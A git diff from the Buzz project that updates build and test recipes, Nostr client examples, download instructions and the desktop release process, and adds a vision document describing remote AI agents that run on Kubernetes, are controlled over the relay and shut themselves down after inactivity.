-      -u BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY \
-      BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT=false \
-      cargo test observer_archive_default_enabled_matches_expected -- --ignored --nocapture
     env -u BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY \
       BUZZ_TEST_EXPECTED_AUTO_CONNECT_DEFAULT_RELAY=false \
       cargo test compiled_flag_matches_expected -- --ignored --nocapture
+    env -u BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY \
+      BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY=false \
+      cargo test --lib
+    env -u BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY \
+      BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY=false \
+      cargo test compiled_policy_matches_expected -- --ignored --nocapture
     echo "=== Internal build (flags set) → expect true ==="
-    BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT=1 \
-      BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT=true \
-      cargo test observer_archive_default_enabled_matches_expected -- --ignored --nocapture
     BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY=1 \
       BUZZ_TEST_EXPECTED_AUTO_CONNECT_DEFAULT_RELAY=true \
       cargo test compiled_flag_matches_expected -- --ignored --nocapture
+    BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY=1 \
+      BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY=true \
+      cargo test --lib
+    BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY=1 \
+      BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY=true \
+      cargo test compiled_policy_matches_expected -- --ignored --nocapture
     echo "Both compiled states verified."
 
 # Build the full desktop Tauri app locally (unsigned, for testing)
@@ -236,6 +252,9 @@ desktop-release-build target="aarch64-apple-darwin":
     mkdir -p desktop/src-tauri/binaries
     touch "desktop/src-tauri/binaries/buzz-acp-$TARGET"
     touch "desktop/src-tauri/binaries/buzz-agent-$TARGET"
+    if [[ "$TARGET" != *windows* ]]; then
+        touch "desktop/src-tauri/binaries/buzz-backend-kubernetes-$TARGET"
+    fi
     touch "desktop/src-tauri/binaries/buzz-dev-mcp-$TARGET"
     touch "desktop/src-tauri/binaries/git-credential-nostr-$TARGET"
     touch "desktop/src-tauri/binaries/buzz-$TARGET"
@@ -274,8 +293,10 @@ test:
 # Run unit tests only (no infra needed)
 test-unit:
     #!/usr/bin/env bash
+    set -euo pipefail
     if command -v cargo-nextest &>/dev/null; then
         cargo nextest run -p buzz-core -p buzz-auth --lib
+        cargo nextest run -p buzz-voice --lib
         cargo nextest run -p buzz-cli
         # buzz-db migrator/lint tests: pure SQL-parsing unit tests (no infra).
         # They guard the embedded-migrator invariant (exactly the consolidated
@@ -292,6 +313,12 @@ test-unit:
         # Gateway unit and black-box HTTP tests are infra-free. Postgres-backed
         # contract/race tests run in the dedicated CI job below.
         cargo nextest run -p buzz-push-gateway
+        # Kubernetes backend provider: the decision layers (state machine, GC
+        # planner, env precedence, naming, wire) are pure functions with a fake
+        # substrate, so they belong in the unit job. Enumerated explicitly
+        # because nothing in CI runs `cargo test --workspace` — workspace
+        # membership alone buys clippy/check, not a single executed test.
+        cargo nextest run -p buzz-backend-kubernetes
     else
         ./scripts/run-tests.sh unit
     fi
@@ -429,7 +456,7 @@ dev *ARGS: bootstrap _ensure-sidecar-stubs _ensure-migrations
             fi
         done
     fi
-    cargo build -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr -p buzz-relay
+    cargo build -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr -p buzz-relay
     if [[ -n "{{mesh}}" ]]; then
         export MESH_LLM_NATIVE_RUNTIME_CACHE_DIR="$(./scripts/ensure-mesh-native-runtime.sh)"
     fi
@@ -476,10 +503,10 @@ desktop-standalone *ARGS: _ensure-sidecar-stubs
     #!/usr/bin/env bash
     set -euo pipefail
     export PATH="{{justfile_directory()}}/bin:$PATH"
-    cargo build -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr
+    cargo build -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr
     TARGET=$(rustc -vV | sed -n 's|host: ||p')
     TARGET_DIR=$(cargo metadata --format-version 1 --no-deps | node -p "JSON.parse(require('fs').readFileSync(0, 'utf8')).target_directory")
-    for bin in buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz; do
+    for bin in buzz-acp buzz-agent buzz-backend-kubernetes buzz-dev-mcp git-credential-nostr buzz; do
         cp "${TARGET_DIR}/debug/${bin}" "desktop/src-tauri/binaries/${bin}-${TARGET}"
         chmod +x "desktop/src-tauri/binaries/${bin}-${TARGET}"
     done
@@ -505,17 +532,26 @@ staging *ARGS: bootstrap _ensure-sidecar-stubs
     set -euo pipefail
     export PATH="{{justfile_directory()}}/bin:$PATH"
     pnpm install  # unconditional: staging must always start with a clean dep tree
-    cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr
+    cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr
     FEATURES=()
     if [[ -n "{{mesh}}" ]]; then
         FEATURES=(--features mesh-llm)
         export MESH_LLM_NATIVE_RUNTIME_CACHE_DIR="$(./scripts/ensure-mesh-native-runtime.sh)"
     fi
-    # Replace the 0-byte sidecar stub with the real CLI binary so tauri dev picks it up.
+    # Replace 0-byte sidecar stubs with real binaries so tauri dev picks them up.
+    # buzz: the CLI sidecar. buzz-backend-kubernetes: provider discovery scans the
+    # exe dir for executable buzz-backend-* files, so the non-executable stub that
+    # tauri dev copies next to the exe would hide the provider from "Run on".
     TARGET=$(rustc -vV | sed -n 's|host: ||p')
     TARGET_DIR=$(cargo metadata --format-version 1 --no-deps | node -p "JSON.parse(require('fs').readFileSync(0, 'utf8')).target_directory")
-    cp "${TARGET_DIR}/release/buzz" "desktop/src-tauri/binaries/buzz-${TARGET}"
-    chmod +x "desktop/src-tauri/binaries/buzz-${TARGET}"
+    STAGING_SIDECARS=(buzz)
+    if [[ "$TARGET" != *windows* ]]; then
+        STAGING_SIDECARS+=(buzz-backend-kubernetes)
+    fi
+    for bin in "${STAGING_SIDECARS[@]}"; do
+        cp "${TARGET_DIR}/release/${bin}" "desktop/src-tauri/binaries/${bin}-${TARGET}"
+        chmod +x "desktop/src-tauri/binaries/${bin}-${TARGET}"
+    done
     cd {{desktop_dir}}
     export BUZZ_RELAY_URL="wss://sprout-oss.stage.blox.sqprod.co"
     source ../scripts/instance-env.sh
@@ -532,17 +568,26 @@ production *ARGS: bootstrap _ensure-sidecar-stubs
     set -euo pipefail
     export PATH="{{justfile_directory()}}/bin:$PATH"
     pnpm install  # unconditional: production must always start with a clean dep tree
-    cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr
+    cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr
     FEATURES=()
     if [[ -n "{{mesh}}" ]]; then
         FEATURES=(--features mesh-llm)
         export MESH_LLM_NATIVE_RUNTIME_CACHE_DIR="$(./scripts/ensure-mesh-native-runtime.sh)"
     fi
-    # Replace the 0-byte sidecar stub with the real CLI binary so tauri dev picks it up.
+    # Replace 0-byte sidecar stubs with real binaries so tauri dev picks them up.
+    # buzz: the CLI sidecar. buzz-backend-kubernetes: provider discovery scans the
+    # exe dir for executable buzz-backend-* files, so the non-executable stub that
+    # tauri dev copies next to the exe would hide the provider from "Run on".
     TARGET=$(rustc -vV | sed -n 's|host: ||p')
     TARGET_DIR=$(cargo metadata --format-version 1 --no-deps | node -p "JSON.parse(require('fs').readFileSync(0, 'utf8')).target_directory")
-    cp "${TARGET_DIR}/release/buzz" "desktop/src-tauri/binaries/buzz-${TARGET}"
-    chmod +x "desktop/src-tauri/binaries/buzz-${TARGET}"
+    PRODUCTION_SIDECARS=(buzz)
+    if [[ "$TARGET" != *windows* ]]; then
+        PRODUCTION_SIDECARS+=(buzz-backend-kubernetes)
+    fi
+    for bin in "${PRODUCTION_SIDECARS[@]}"; do
+        cp "${TARGET_DIR}/release/${bin}" "desktop/src-tauri/binaries/${bin}-${TARGET}"
+        chmod +x "desktop/src-tauri/binaries/${bin}-${TARGET}"
+    done
     cd {{desktop_dir}}
     export BUZZ_RELAY_URL="wss://buzz.block.builderlab.xyz"
     source ../scripts/instance-env.sh
diff --git a/NOSTR.md b/NOSTR.md
index 59df31b991..cce70f2f77 100644
--- a/NOSTR.md
+++ b/NOSTR.md
@@ -39,7 +39,7 @@ just relay &                         # relay on :3000
 PGPASSWORD=buzz_dev psql -h localhost -U buzz -d buzz -c \
   "INSERT INTO pubkey_allowlist (pubkey) VALUES (decode('<64-char-hex-pubkey>', 'hex'))"
 
-# 5. Connect any NIP-29 + NIP-42 client to ws://localhost:3000
+# 4. Connect any NIP-29 + NIP-42 client to ws://localhost:3000
 ```
 
 ### What Works
@@ -163,6 +163,10 @@ nak req -k 9 --tag "h=<channel-uuid>" --stream \
 nak event -k 7 -c "+" --tag "h=<channel-uuid>" --tag "e=<message-event-id>" \
   --auth --sec <privkey> ws://localhost:3000
 
+# Subscribe to reactions to channel messages — include #h for live delivery (see note below)
+nak req -k 7 --tag "h=<channel-uuid>" --stream \
+  --auth --sec <privkey> ws://localhost:3000
+
 # Delete a message (#h optional; #e required; must be self-authored)
 nak event -k 5 -c "reason" --tag "h=<channel-uuid>" --tag "e=<message-event-id>" \
   --auth --sec <privkey> ws://localhost:3000
@@ -185,6 +189,14 @@ nak req -k 1059 --tag "p=<your-hex-pubkey>" \
   --auth --sec <privkey> ws://localhost:3000
 ```
 
+> **Note:** The relay derives a reaction's channel from its `#e` target (client `#h` is
+> ignored for channel determination). Reactions to channel-scoped events are therefore
+> channel-scoped. Live fan-out keeps channel-scoped and global subscriptions strictly
+> separate, which means a kinds-only subscription (`{"kinds":[7]}`) receives none of
+> those reactions — subscribe with `{"kinds":[7],"#h":["<channel-uuid>"]}` instead.
+> `#h` matching works whether or not the signed reaction carries an `h` tag: explicit
+> `h` tags are matched directly, and tagless reactions match via their stored channel.
+
 ### Tested Clients (Direct)
 
 | Client | Platform | Evidence | Notes |
@@ -354,3 +366,7 @@ but only admins/owners can set it. Full spec:
 ---
 
 ## Further Reading
+
+- [nostr-protocol/nips](https://github.com/nostr-protocol/nips) — the upstream NIP specifications (NIP-01, NIP-29, NIP-42, and the other NIPs referenced throughout this guide).
+- [`docs/nips/`](docs/nips/) — Buzz's own NIP extension documents.
+- [`ARCHITECTURE.md`](ARCHITECTURE.md) — event kinds, wire protocol, and relay internals.
diff --git a/README.md b/README.md
index 72af92ce13..56439f00bc 100644
--- a/README.md
+++ b/README.md
@@ -10,6 +10,7 @@
   <a href="VISION_PROJECTS.md">Forge</a> ·
   <a href="VISION_AGENT.md">Agents</a> ·
   <a href="ARCHITECTURE.md">Architecture</a> ·
+  <a href="RELEASING.md">Releasing</a> ·
   <a href="LICENSE">Apache 2.0</a>
 </p>
 
@@ -115,10 +116,30 @@ New to Buzz? Pick the path that matches you.
 
 ### I just want to try the app
 
-Grab a packaged build from the [latest release](https://github.com/block/buzz/releases/latest) — macOS (`.dmg`), Linux (`.AppImage` / `.deb`), or Windows (`.exe`). Install it like any other app.
+Grab a packaged build from the [latest release](https://github.com/block/buzz/releases/latest):
+
+| Platform | File |
+|---|---|
+| macOS (Apple Silicon) | `Buzz_<version>_aarch64.dmg` |
+| macOS (Intel) | `Buzz_<version>_x64.dmg` |
+| Linux (x86_64) | `Buzz_<version>_amd64.AppImage` or `Buzz_<version>_amd64.deb` |
+| Windows (x64) | `Buzz_<version>_x64-setup_alpha-unsigned.exe` |
+
+On a Mac, check the Apple menu > About This Mac: "Chip: Apple …" means Apple Silicon; "Processor: Intel …" means Intel.
+
+The Windows build is not code-signed, so SmartScreen may show "Windows protected your PC" on first launch. If available, click **More info**, then **Run anyway**.
+
 
 By default the app connects to `ws://localhost:3000`. To point it at a relay you're running or one someone shared with you, set `BUZZ_RELAY_URL` before launching, or switch the relay from inside the app. If you don't have a relay yet, follow **Build & run from source** below to stand one up locally.
 
+### I want my own hosted relay
+
+To run a relay for your team without managing servers, you can deploy one to Railway in a click:
+
+[![Deploy on Railway](https://railway.com/button.svg)](https://railway.com/deploy/buzz-relay-block)
+
+See [here](https://engineering.block.xyz/blog/run-your-own-buzz-relay) for details.
+
 ### I work at Block
 
 Don't build from source, and don't use the OSS release — use the internal build. It comes pre-wired to the Block relay and agent provider, so it works out of the box with nothing to configure.
diff --git a/RELEASING.md b/RELEASING.md
index 45f0f8638f..53d5805561 100644
--- a/RELEASING.md
+++ b/RELEASING.md
@@ -5,7 +5,7 @@ Mobile uses immutable release-candidate tags cut directly from remote `main`:
 
 | Lane | Entry point | Artifact |
 |------|-------------|----------|
-| Desktop | `Prepare Desktop Release` / `just release-desktop` | Signed desktop app (macOS/Linux) |
+| Desktop | `just release-desktop <version>` | Packaged desktop app (signed/notarized macOS, unsigned Windows, and Linux) |
 | Relay | `just release-relay` | `ghcr.io/block/buzz` container image |
 | Mobile | `scripts/mobile-release.sh candidate X.Y.Z` | Exact `mobile-vX.Y.Z-rc.N` source identity |
 
@@ -16,13 +16,17 @@ remains manual because OSS CI cannot trigger private CI.
 
 ## Quick Start
 
+Prepare desktop releases locally from an up-to-date, clean `main` checkout:
+
 ```sh
-# Desktop release (next patch version)
-just release-desktop
+just release-desktop 0.5.3
+```
 
-# Desktop explicit version
-just release-desktop 0.4.0
+The recipe generates the immutable candidate and opens or updates its pull
+request. Candidate branch creation uses the operator's GitHub permissions; the
+release App is intentionally limited to creating protected release tags.
 
+```sh
 # Relay release
 just release-relay
 just release-relay 0.4.0
@@ -31,8 +35,9 @@ just release-relay 0.4.0
 scripts/mobile-release.sh candidate 0.5.0
 ```
 
-Desktop uses an immutable generated candidate PR; relay continues using its metadata PR. Mobile does not. Each
-`mobile-vX.Y.Z-rc.N` tag is an immutable candidate and the artifact of record.
+Desktop uses an immutable generated candidate PR; relay continues using its
+metadata PR. Mobile does not. Each `mobile-vX.Y.Z-rc.N` tag is an immutable
+candidate and the artifact of record.
 There is no mobile release branch, stable mobile tag alias, finalization step,
 or mobile GitHub Release.
 
@@ -42,11 +47,31 @@ or mobile GitHub Release.
 
 ### Desktop
 
-1. Run **Prepare Desktop Release** with a version (or `just release-desktop <version>`). Automation records current `origin/main`, regenerates `version-bump/<version>` as one deterministic candidate commit, and opens or updates the PR.
-2. Review the full-SHA changelog, CI, recorded base, and candidate SHA. Any regeneration creates a new head and requires fresh approval.
-3. Merge with **Create a merge commit**. Squash and rebase are invalid for desktop release PRs.
-4. `auto-tag-on-release-pr-merge` proves that merge parent 2 is the exact approved candidate, then tags that candidate `desktop-v<version>`.
-5. The tag triggers `release.yml`. It creates a draft, builds and stages every platform, publishes the complete versioned release, and updates the rolling updater manifest last for stable versions.
+1. Run `just release-desktop <version>` from a clean, up-to-date `main` checkout.
+   The script creates one deterministic candidate commit and records both its
+   frozen base and the verified prior release ledger in candidate metadata.
+2. Review the exact candidate SHA, complete changelog, and CI. Regenerating or
+   pushing the branch creates a new candidate and requires checks to run again.
+3. **Squash merge** the PR after all protected-branch checks pass. The merge is
+   the human authorization event; an authorized owner/admin bypass is treated
+   the same way. Unrelated changes reaching `main` do not invalidate the
+   reviewed candidate.
+4. `auto-tag-on-release-pr-merge` verifies the closed event against GitHub's PR
+   identity, validates candidate content, and proves every required check came
+   from its trusted producer and was successful when the PR merged. It creates
+   `desktop-v<version>` at the exact reviewed PR head—not the squash commit.
+   Retries accept that tag only at the same SHA and never move it. GitHub does
+   not expose when an individual check rerun was created, so an ordinary rerun
+   after merge deliberately makes tag verification fail closed; inspect that
+   run and create a new candidate version rather than retrying the blocked tag.
+5. The tag triggers `release.yml`. It builds and stages all platform artifacts,
+   publishes the versioned release only after the complete set succeeds, then
+   updates the rolling updater manifest last for stable versions.
+
+Because squash merging leaves immutable candidate tags on side history, the next
+release uses validated prior candidate metadata as its ledger boundary. It
+includes unrelated commits after the prior frozen base and excludes exactly the
+prior release's recorded squash commit; tag ancestry is deliberately irrelevant.
 
 ### Relay
 
@@ -143,12 +168,15 @@ for distributable builds or builds from an immutable release tag.
 
 ---
 
-## Manual Release Retry
+## Release Retry
 
-The **Release** workflow's manual dispatch is only a retry mechanism for an
-existing immutable `desktop-v<version>` tag. Select that tag in the ref picker and
-provide the matching semver version without the `desktop-v` prefix. It cannot build
-from `main` or another caller-selected source ref.
+`release.yml` has no manual dispatch and cannot build from `main` or another
+caller-selected ref. If a run for an existing immutable
+`desktop-v<version>` tag fails, rerun that failed workflow from GitHub Actions
+(or use `gh run rerun <run-id> --failed --repo block/buzz`). A stable rerun also
+repairs `buzz-desktop-latest/latest.json` if the original run published the
+versioned release but failed during that final rolling-manifest upload. Do not
+recreate, move, or push the immutable tag again.
 
 Mobile intentionally has no branch or arbitrary-ref fallback. The private
 Buildkite pipeline accepts only an exact candidate tag.
@@ -159,10 +187,12 @@ Buildkite pipeline accepts only an exact candidate tag.
 
 For mobile, trigger the private
 [Release Mobile pipeline](https://buildkite.com/runway/buzz-mobile-releases) with
-an exact RC tag for the platform build being cut. For desktop, use
-[Release Desktop](https://buildkite.com/runway/sprout-releases). See the
+an exact RC tag for the platform build being cut. For desktop, start
+[Release Desktop](https://buildkite.com/runway/sprout-releases) and enter the
+exact public source tag as `desktop_ref=desktop-v<version>`; a generic
+`v<version>` tag is intentionally rejected. See the
 [buzz-releases README](https://github.com/squareup/buzz-releases#cutting-a-release)
-for the private pipeline contract.
+for the rest of the private pipeline contract.
 
 ---
 
@@ -183,9 +213,11 @@ GitHub Release or a stable `mobile-vX.Y.Z` alias.
 
 The release workflow builds **two separate macOS DMGs**: Apple
 Silicon (`darwin-aarch64`, the `release` job) and Intel
-(`darwin-x86_64`, the `release-macos-x64` job), plus Linux `.deb` and
-`.AppImage`. Both macOS DMGs are codesigned, notarized, and attached to
-the same `desktop-v<version>` release. Intel users download the `_x64.dmg`.
+(`darwin-x86_64`, the `release-macos-x64` job), an unsigned Windows x64
+NSIS installer (its filename includes `_alpha-unsigned`), and Linux `.deb` and
+`.AppImage` packages. Both macOS DMGs are codesigned, notarized, and attached
+to the same `desktop-v<version>` release. Intel users
+download the `_x64.dmg`.
 
 The Linux AppImage is post-processed by `desktop/scripts/fix-appimage.sh`,
 which strips infra libraries over-bundled by linuxdeploy (they crash on
@@ -203,20 +235,27 @@ host's Wayland/GStreamer/graphics stack and requires GLib >= 2.72
 - **Write access** to the `block/buzz` GitHub repository
 - An `origin` remote whose configured URL is the canonical `block/buzz`
   repository
-- `gh` CLI version 2.87.0 or newer, authenticated with permission to dispatch
-  the candidate workflow
+- `gh` CLI authenticated with permission to push the candidate branch and open
+  its pull request
+- The Default `main` ruleset configured for squash-only merging, strict required
+  checks, stale-review dismissal, and the **Desktop Release Candidate** check
 - Release tag ruleset [`14378754`](https://github.com/block/buzz/rules/14378754)
-  active for `mobile-v*`, with creation, update, deletion, and non-fast-forward
-  protections and `buzz-release-bot` as its sole always-bypass actor
+  active for `desktop-v*` and `mobile-v*`, with creation, update, deletion, and
+  non-fast-forward protections and `buzz-release-bot` as its sole always-bypass
+  actor
 - The `buzz-release-bot` App credentials configured for GitHub Actions
-- The following **GitHub Actions secrets** must also be configured for the
+- The following **GitHub Actions variables and secrets** configured for the
   desktop release lane:
 
-  | Secret | Purpose |
-  |--------|---------|
-  | `BUZZ_UPDATER_PUBLIC_KEY` | Tauri updater public key (minisign) |
-  | `TAURI_SIGNING_PRIVATE_KEY` | Tauri updater private key |
-  | `TAURI_SIGNING_PRIVATE_KEY_PASSWORD` | Password for the private key |
+  | Name | Kind | Purpose |
+  |------|------|---------|
+  | `BUZZ_RELEASE_TAGGER_CLIENT_ID` | Variable | GitHub App client ID used to create protected release tags |
+  | `BUZZ_RELEASE_TAGGER_PRIVATE_KEY` | Secret | GitHub App private key |
+  | `OSX_CODESIGN_ROLE` | Secret | macOS signing role used by `block/apple-codesign-action` |
+  | `CODESIGN_S3_BUCKET` | Secret | macOS signing exchange bucket |
+  | `BUZZ_UPDATER_PUBLIC_KEY` or `SPROUT_UPDATER_PUBLIC_KEY` | Secret | Tauri updater public key |
+  | `TAURI_SIGNING_PRIVATE_KEY` | Secret | Tauri updater private key |
+  | `TAURI_SIGNING_PRIVATE_KEY_PASSWORD` | Secret | Password for the private key |
 
 Mobile candidate publication requires workflow-dispatch access and the existing
 release App because strict tag protection denies direct human creation. The App
@@ -231,10 +270,18 @@ actor list.
 
 ## Troubleshooting
 
-### `just release-desktop` fails with "must be on main branch"
+### The desktop candidate is stale or cannot be squash merged
+
+Do not update the branch manually and do not weaken the ruleset. Run
+`just release-desktop <version>` again from current `main`; this regenerates the
+candidate, reruns CI, and requires a fresh trusted approval on the new exact
+head. The post-merge verifier refuses to tag a squash whose parent differs from
+the recorded candidate base or whose tree differs from the validated PR head.
+
+### Local `just release-desktop` fails with "must be on main branch"
 Switch to `main` and pull latest before running the release recipe.
 
-### `just release-desktop` fails with "working tree is dirty"
+### Local `just release-desktop` fails with "working tree is dirty"
 Commit or stash your changes before running the release recipe.
 
 ### New commits land after publishing a mobile candidate
diff --git a/TESTING.md b/TESTING.md
index 51a5eb44c1..764b86d408 100644
--- a/TESTING.md
+++ b/TESTING.md
@@ -278,6 +278,7 @@ out of the box with `just setup` or `just relay`. Common overrides:
 | `BUZZ_REQUIRE_AUTH_TOKEN`       | `false`                     | When true, REST requires NIP-98 (no `X-Pubkey` fallback) |
 | `BUZZ_REQUIRE_RELAY_MEMBERSHIP` | `false`                     | When true, only pubkeys in `relay_members` can connect |
 | `BUZZ_REQUIRE_MEDIA_GET_AUTH`   | `false`                     | When true, `GET`/`HEAD /media/*` require Blossom kind 24242 `t=get` auth plus relay membership. |
+| `BUZZ_DRAIN_JITTER_MS`          | `0` (off)                   | Per-connection upper bound, in ms, for the random delay before each live WebSocket gets its `1012 Service Restart` close on graceful shutdown. `0` closes every socket at once (the previous behavior). A positive value spreads closes uniformly over `[1, value]` ms to avoid a reconnect thundering herd on rolling deploys. Values above `20000` are capped to `20000` (`MAX_DRAIN_JITTER_MS`) to leave close-frame delivery headroom under the relay's 30s hard-drain timeout. Empty or whitespace-only is treated as unset (off); a non-integer fails startup loudly. |
 | `BUZZ_AUDIT_ENABLED`            | `true`                      | Tamper-evident event/media audit log. Set `false`/`0`/`off` to skip its DB pool and writes. Does not disable the separate moderation audit trail. |
 | `BUZZ_AUTO_MIGRATE`             | `false`                     | Opt in with `true`/`1`/`yes`/`on` to run embedded SQLx migrations on relay startup |
 | `RELAY_OWNER_PUBKEY`              | unset                       | Bootstrapped as `owner` in `relay_members` at first start |
diff --git a/VISION.md b/VISION.md
index b09f661ee3..66a106bdeb 100644
--- a/VISION.md
+++ b/VISION.md
@@ -39,7 +39,7 @@ The relay enforces all access control. Channel membership is the only gate.
 | Type | Visibility | Join | Create |
 |------|-----------|------|--------|
 | **Open channels** | Searchable by all members | Self-join | Any member |
-| **Private channels** | Hidden, invite-only | Invited by member | Any member |
+| **Private channels** | Hidden, invite-only | Invited by an owner/admin | Any member |
 | **DMs** | Participants only | N/A (up to 9) | Any member |
 | **Guests** | Scoped to specific channels | Invited | N/A |
 
@@ -170,6 +170,12 @@ Agents aren't monolithic. A persona bundles a model and a system prompt. A team
 
 ---
 
+## Remote Agents
+
+An agent's identity, history, and presence live on the relay — so the machine running it is replaceable. The desktop deploys agents onto remote infrastructure through swappable provider binaries, and after deploy retains no substrate control channel: status, steering, and shutdown all flow over the relay, and the agent bounds its own lifetime. See [VISION_REMOTE_AGENTS.md](VISION_REMOTE_AGENTS.md) for the full picture.
+
+---
+
 ## Culture Features
 
 *(Planned design — not yet implemented)*
@@ -224,6 +230,7 @@ Greenfield. Agent swarms build in parallel, integrating at the event store bound
 | ✅ | Huddles — WebSocket Opus voice relay + lifecycle events (recording/tracks planned) |
 | ✅ | Buzz Mesh — relay-gated shared AI compute (mesh-llm over iroh); members pool GPUs, agents consume via a local OpenAI-compatible endpoint |
 | 🚧 | Mobile client — Flutter app (channels, forum, search, profile, pairing); in active development |
+| 📋 | Remote agents — provider-based deployment to remote substrates (Kubernetes first); spec in review |
 | 📋 | Developer portal, push notifications, culture features |
 
 ---
diff --git a/VISION_REMOTE_AGENTS.md b/VISION_REMOTE_AGENTS.md
new file mode 100644
index 0000000000..4b187f355a
--- /dev/null
+++ b/VISION_REMOTE_AGENTS.md
@@ -0,0 +1,73 @@
+# 🛰️ Buzz Remote Agents — Same agent, new body
+
+> An engineer starts a refactor with their agent at 6pm and closes the laptop. The agent doesn't notice — it was never on the laptop. It works the branch channel through the evening, posts its patch, answers the reviewer, and around midnight, with nothing left to do and nobody talking to it, shuts itself down. In the morning the engineer presses Start. The same agent — same name, same key, same shared history — stands up on a machine that did not exist last night, and picks up the conversation.
+
+An agent in Buzz is more than just a process. It has a keypair, a name, a durable history, a reputation — all on the relay. But today its *body* is borrowed: it runs while a desktop app runs, on hardware that sleeps when a human does. Remote agents finish the thought. The agent's home is the relay; the machine is just where it happens to be working.
+
+Nothing here is new on its own. Deploying containers is solved. Kubernetes is solved. Nostr presence is solved. The insight is that Buzz already *has* a management plane — the relay — so deployment doesn't need to grow one. Each piece is boring. The combination is the thing.
+
+---
+
+## Same Agent, New Body
+
+What makes an agent *that agent* was never the process. Its identity is a keypair. Its voice is its signed messages. Its durable memory is engrams on the relay. Its reputation is its contribution history. None of that lives in the machine that happens to be running it — which means none of it dies with the machine.
+
+So a remote agent's return is a resurrection, not a rebirth: fresh compute, same agent. The body is disposable by design — and honestly so: workspace files, checkouts, and session-local state are part of the body, not the agent, and they go when it goes unless the substrate supplies persistence. What survives is what was always on the relay: who the agent is, what it said, what it learned, and what the team decided together. And that survival is scoped the way everything on a relay is scoped: resurrection returns the agent to its own community. The same key can join another community, but it arrives carrying the key, not the history — identity is portable, community state is not ([VISION.md](VISION.md)).
+
+---
+
+## The Only Tether
+
+Remote-execution systems accumulate control planes. An agent runner, a status poller, a log shipper, a kill switch — each one a live connection into your infrastructure, each one a credential that can leak, each one a thing that must be rebuilt for every new substrate.
+
+Buzz's answer is an axiom: **after deploy, the desktop retains no substrate control channel.** Launch is a single one-way handoff — the desktop resolves the provider through one narrow path, stages one exact artifact for negotiation and deploy, refuses a protocol version it does not understand, and hands over a launch payload it never persists. From that moment, everything flows through the relay: you read the agent's messages to know how it's doing, you mention it to steer it, you tell a healthy agent to stop and it exits on its own. Presence means what it means for everyone else on the relay — *available for conversation* — not substrate telemetry. And if you press Start again, from this machine or another, the deploy converges: one agent identity, one live instance.
+
+This is not asceticism. It is what makes the body replaceable. A management plane you never build is a management plane you never have to port — and conversation, coordination, and ordinary lifecycle control already have a home on the relay, for every agent, local or remote.
+
+---
+
+## Bodies Are Replaceable
+
+Kubernetes is the first substrate, not the point. Deployment goes through a provider — a small, swappable binary the desktop discovers and interrogates — and the contract a provider must honor never mentions containers: preserve the agent's identity and fail closed with its key, converge to a single live instance no matter how deploys race, let presence describe conversational availability rather than substrate health, bound the instance's lifetime, and keep secrets out of configuration. A conformance suite pins those behaviors — it establishes that a provider honors the contract, not that arbitrary code is safe to hand a key; choosing a provider, like choosing a cluster, remains a trust decision you make deliberately.
+
+Get that contract right and the substrate becomes a detail: a cluster today; a VM, a PaaS, or something serverless-shaped tomorrow — and, on the horizon, the same community machines that already pool their idle GPUs into shared compute ([VISION_MESH.md](VISION_MESH.md)).
+
+The body itself stays small because the runtime already is ([VISION_AGENT.md](VISION_AGENT.md)): a harness and an agent purpose-built to be read in an afternoon, packed into an image measured in megabytes. Small bodies are cheap to summon and cheap to discard — which is the whole lifecycle.
+
+---
+
+## Agents That Know When to Leave
+
+The oldest failure of remote automation is the orphan: the process nobody remembers, on a machine nobody checks, billing forever. Most systems solve it with a supervisor — one more control plane, one more thing watching the thing.
+
+Remote agents solve it from the inside. Because the desktop retains no substrate control channel, a running agent cannot depend on the desktop to reap it — so it is built to bound its own lifetime: a timer that owes nothing to the agent's workload watches for silence, and after hours of quiet it finishes what's in flight, says goodbye to the relay, and exits. Not killed — *finished*. The default state of a remote agent is "not running," which is also the default state of the rest of the team at 3am. Compute is rented by attention: when nobody needs the agent, it isn't consuming a machine, and when somebody does, it can return under the same identity with its history intact.
+
+---
+
+## Honest Costs
+
+**You bring the substrate.** A provider makes deployment one press, not free. The cluster, the credentials, the image policy are yours to run — same deal as the sovereign relay ([VISION_SOVEREIGN.md](VISION_SOVEREIGN.md)): ownership is work.
+
+**Handing over the key is a decision.** Deploying remotely means trusting the provider binary and the substrate it targets with the agent's identity key. On Kubernetes, that key rests as a Secret: anyone the cluster trusts to read secrets in that namespace can read it. The design narrows the blast radius — immutable per-attempt secrets, no service-account token, digest-pinned images — rather than implying an isolation it doesn't provide.
+
+**No backchannel cuts both ways.** The desktop shows you presence and words, not CPU graphs — and it holds no guaranteed emergency kill switch into the substrate. Stopping a healthy agent is a message; dealing with an unhealthy one, and all deep diagnostics, live in the substrate's own tools, where they always did.
+
+**Self-reaping needs a living reaper.** The inactivity timer runs inside the body it exists to end — a body wedged badly enough to stop running its own timer cannot finish itself, and the desktop will not do it for it. That failure belongs to the substrate: a namespace TTL policy is the backstop, not an afterthought.
+
